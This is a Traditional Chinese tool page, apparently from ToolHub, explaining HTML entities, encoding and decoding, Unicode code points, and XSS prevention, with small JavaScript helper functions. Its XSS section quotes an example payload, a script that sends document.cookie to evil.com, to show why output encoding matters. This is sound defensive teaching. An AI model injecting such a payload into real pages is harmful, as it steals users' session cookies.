HTML Entity Lookup HTML 實體查詢對照表
查詢所有 HTML 實體(Entity)的名稱、代碼、Unicode 與字元顯示。
內建 Entity Encoder / Decoder 即時轉換工具,Web 開發者必備。
🎮 Entity Playground 編碼 / 解碼工具
即時將 HTML 編碼或解碼,一鍵查看轉換結果
❓ 常見問題 FAQ
關於 HTML Entity 的常見疑問與解答
什麼是 HTML Entity?
HTML Entity(HTML 實體) 是一種在 HTML 文件中表示特殊字元的方式。當你想要在網頁上顯示一個在 HTML 中有特殊意義的字元(如 <、>、&),或者顯示鍵盤上無法直接輸入的字元(如 ©、™、€),就需要使用 HTML Entity。
HTML Entity 有三種表示方式:
- Entity Name — 如
©、<,以名稱記憶,較易讀 - Decimal Code — 如
©、<,以十進位 Unicode 表示 - Hex Code — 如
©、<,以十六進位 Unicode 表示
為什麼需要 HTML Encode?
HTML Encode(HTML 編碼)是將特殊字元轉換為對應的 HTML Entity 的過程。這在以下場景非常重要:
- 防止 XSS 攻擊 — 將使用者輸入的
<script>轉為<script>,避免惡意腳本執行 - 顯示保留字元 — 在網頁內容中顯示
<、>、&而不被瀏覽器解析為 HTML 標籤 - Email Template — 確保郵件在各個郵件客戶端中顯示正確
- XML/RSS Feed — 確保特殊字元不會破壞 Feed 結構
- 資料庫輸出 — 將使用者產生的內容安全地呈現在網頁上
安全性提醒:在 Web 開發中,永遠不要直接將使用者輸入的內容作為 HTML 輸出。務必進行 HTML Encode 處理。這是防止 XSS(跨站腳本攻擊)最基本也最重要的防護措施。
Entity Name、Decimal 與 Hex 有什麼差異?
這三種都是表示 HTML Entity 的方式,但各有優缺點:
| 方式 | 格式 | 範例(©) | 優點 | 缺點 |
|---|---|---|---|---|
| Entity Name | &name; |
© |
易讀、好記憶 | 並非所有字元都有名稱 |
| Decimal | &#D; |
© |
所有 Unicode 字元皆可使用 | 較長、不易記憶 |
| Hex | &#xH; |
© |
與 Unicode 編碼直接對應 | 需要懂十六進位 |
使用建議:日常開發中優先使用 Entity Name(可讀性最佳),若該字元沒有 Entity Name 則使用 Decimal 或 Hex 代碼。三者在瀏覽器中的渲染結果完全相同。
HTML Entity 與 Unicode 有什麼關係?
Unicode 是一個全球通用的字元編碼標準,為每個字元分配一個唯一的代碼點(Code Point),例如 U+00A9 代表 © 符號。
HTML Entity 的 Decimal 和 Hex 格式本質上就是 Unicode 代碼點的不同進位表示:
- Unicode Code Point →
U+00A9(十六進位) - HTML Hex Entity →
©(去掉 U+,加上 &#x 和 ;) - HTML Decimal Entity →
©(將 0xA9 轉為十進位 169)
簡單來說:HTML Entity 是 Unicode 在 HTML 文件中的「表達方式」。當你使用 © 或 © 時,你就是在告訴瀏覽器:「請在這裡顯示 Unicode 代碼點為 U+00A9 的字元。」Unicode 是標準,HTML Entity 是這個標準在 HTML 中的應用。
HTML Encode 與 URL Encode 有什麼不同?
這是兩個不同的概念,常被混淆:
| 特性 | HTML Encode | URL Encode |
|---|---|---|
| 用途 | 在 HTML 中安全顯示字元 | 在 URL 中安全傳輸字元 |
| 編碼方式 | <、< | %3C、%20 |
| 範例 < | < | %3C |
| 範例 空白 | | %20 |
| 應用場景 | HTML 內容、Email Template | 網址查詢參數、API 請求 |
簡單區分:如果你在寫 HTML 文件,需要的是 HTML Encode。如果你在建構 URL(如 ?q=hello world),需要的是 URL Encode(又稱 Percent Encoding)。
XSS 攻擊與 HTML Entity 有什麼關係?
XSS(Cross-Site Scripting) 是一種常見的網頁安全漏洞。攻擊者將惡意腳本注入到網頁中,當其他使用者瀏覽該頁面時,惡意腳本就會執行。
HTML Entity 編碼是防止 XSS 的第一道防線:
範例:
❌ 不安全:使用者輸入 <script>alert('XSS')</script> 直接輸出 → 腳本被執行
✅ 安全:HTML Encode 後 → <script>alert('XSS')</script> → 安全顯示為文字
最佳實踐:
- 在伺服器端對所有使用者輸入進行 HTML Encode
- 使用 Content Security Policy(CSP)標頭作為第二層防護
- 避免使用
dangerouslySetInnerHTML(React)或v-html(Vue)除非絕對必要 - 對所有輸出到 HTML 的動態內容進行編碼
如何在 JavaScript 中進行 HTML Encode / Decode?
在 JavaScript 中,最簡單安全的 HTML Encode/Decode 方法是使用 DOM API:
HTML Encode:
function htmlEncode(str) {
const el = document.createElement('span');
el.textContent = str;
return el.innerHTML;
}
// "<div>Hello & World</div>"
htmlEncode('<div>Hello & World</div>');
HTML Decode:
function htmlDecode(str) {
const el = document.createElement('span');
el.innerHTML = str;
return el.textContent;
}
// "<div>Hello & World</div>"
htmlDecode('<div>Hello & World</div>');
💡 提示:也可以使用 DOMParser 或 innerHTML 進行解析,但上述方法是最輕量且安全的做法。使用 ToolHub 的 Entity Playground 可以即時測試編碼解碼結果。
📖 HTML Entity 完整指南
深入了解 HTML Entity 的運作原理、使用情境與安全最佳實踐
什麼是 HTML Entity?為什麼它對 Web 開發如此重要?
HTML Entity(HTML 實體) 是 HTML 文件中用來表示特殊字元的文字序列。在 HTML 語法中,某些字元具有特殊的意義(如 < 代表標籤開始、& 代表 Entity 開始),當你希望將這些字元當作普通文字顯示時,就必須使用 HTML Entity。
此外,HTML Entity 還可以幫助你顯示鍵盤上無法直接輸入的字元,如版權符號 ©、註冊商標 ®、歐元符號 € 等。對於多語言網站和特殊符號的呈現,HTML Entity 是不可或缺的工具。
HTML Entity 的三種表示方式
每一個 HTML Entity 都可以用以下三種方式表示:
1. Entity Name(具名實體)
使用易於記憶的名稱來表示字元。格式為 &名稱;。例如:
©→ ©<→ <&→ &®→ ®
Entity Name 的優點是 可讀性高、容易記憶。缺點是並非所有 Unicode 字元都有對應的 Entity Name(僅約 2200+ 個常見字元有命名實體)。
2. Decimal Code(十進位數字實體)
使用 Unicode 代碼點的十進位數字來表示字元。格式為 &#數字;。例如:
©→ ©(Unicode U+00A9 = 十進位 169)<→ <(Unicode U+003C = 十進位 60)€→ €(Unicode U+20AC = 十進位 8364)
Decimal Code 的優點是 涵蓋所有 Unicode 字元,不怕找不到對應的 Entity Name。
3. Hex Code(十六進位數字實體)
使用 Unicode 代碼點的十六進位數字來表示字元。格式為 &#x十六進位;(x 不區分大小寫)。例如:
©→ ©(Unicode U+00A9)<→ <(Unicode U+003C)€→ €(Unicode U+20AC)
Hex Code 的優點是 與 Unicode 編碼直接對應,開發者可以在 Unicode 表中直接找到對應的十六進位值。
HTML 常用特殊字元速查表
以下是 Web 開發中最常用的 HTML Entity:
| 字元 | Entity Name | Decimal | Hex | 說明 |
|---|---|---|---|---|
| & | & | & | & | & 符號 |
| < | < | < | < | 小於 |
| > | > | > | > | 大於 |
| " | " | " | " | 雙引號 |
| ' | ' | ' | ' | 單引號 |
|   |   | 不斷行空白 | |
| © | © | © | © | 版權符號 |
| ® | ® | ® | ® | 註冊商標 |
| ™ | ™ | ™ | ™ | 商標符號 |
| € | € | € | € | 歐元 |
HTML Entity 與 XSS 防護
XSS(Cross-Site Scripting) 是最常見的網頁安全漏洞之一。攻擊者通過在網頁中注入惡意腳本,來竊取使用者資料、劫持會話或進行釣魚攻擊。
HTML Entity 編碼是防止 XSS 攻擊的最基本也最重要的手段:
攻擊情境:
評論區中,攻擊者提交了:<script>document.location='http://evil.com/?cookie='+document.cookie</script>
❌ 如果直接輸出到頁面 → 攻擊腳本被執行,使用者的 Cookie 被盜
✅ 如果經過 HTML Encode → 轉換為 <script>...</script> → 安全顯示為純文字
XSS 防護的最佳實踐
- 輸入驗證 — 在前端和後端都對使用者輸入進行驗證和過濾
- 輸出編碼 — 根據輸出位置(HTML、JavaScript、CSS、URL)使用不同的編碼方式
- Content Security Policy(CSP) — 設定 HTTP 標頭限制腳本來源
- HttpOnly Cookie — 設定 Cookie 的 HttpOnly 屬性,防止 JavaScript 存取
- 使用安全的框架 API — React 的
{text}(非 dangerouslySetInnerHTML)、Vue 的{ text }(非 v-html) - 定期安全檢測 — 使用自動化工具掃描 XSS 漏洞
HTML Entity 編碼與解碼工具
在實際開發中,你可能需要:
- Encode(編碼) — 將
<div>Tom & Jerry</div>轉為<div>Tom & Jerry</div> - Decode(解碼) — 將
<div>Tom & Jerry</div>轉回原始 HTML
使用 ToolHub 提供的 Entity Playground,你可以在左側輸入原始文字進行編碼,或在右側輸入已編碼的文字進行解碼。所有操作都在瀏覽器本地完成,不會上傳任何資料。
HTML Entity 在 Email Template 中的應用
在 Email Template 開發中,HTML Entity 尤其重要:
- 跨郵件客戶端相容性 — 不同郵件客戶端(Outlook、Gmail、Apple Mail)對 HTML 的支援程度不同,使用 Entity 可以確保特殊字元正確顯示
- 版權與商標符號 — 在郵件頁尾中顯示 ©、®、™ 等符號
- 貨幣符號 — 在電子報中正確顯示 €、£、¥、₽ 等貨幣符號
- 避免編碼問題 — 使用 Entity 可以避免因郵件客戶端字元編碼設定不同而導致的亂碼問題
HTML Entity 與 SEO
正確使用 HTML Entity 對 SEO 也有正面影響:
- 避免內容誤解 — 使用
©而非 © 字元,確保搜尋引擎正確解析內容 - 標題與 Meta 描述 — 在
<title>和<meta>中使用 Entity 確保特殊字元正確顯示 - 結構化資料 — 在 JSON-LD 等結構化資料中使用 Entity 避免解析錯誤
- Sitemap — 在 XML Sitemap 中使用 Entity 處理特殊字元
總結:HTML Entity 是 Web 開發的基礎知識。無論是顯示特殊字元、防止 XSS 攻擊、開發 Email Template,還是優化 SEO,都離不開 HTML Entity 的正確使用。使用 ToolHub 的 HTML Entity Lookup 工具,隨時查詢任何字元的 Entity 代碼,並利用 Entity Playground 進行編碼解碼測試。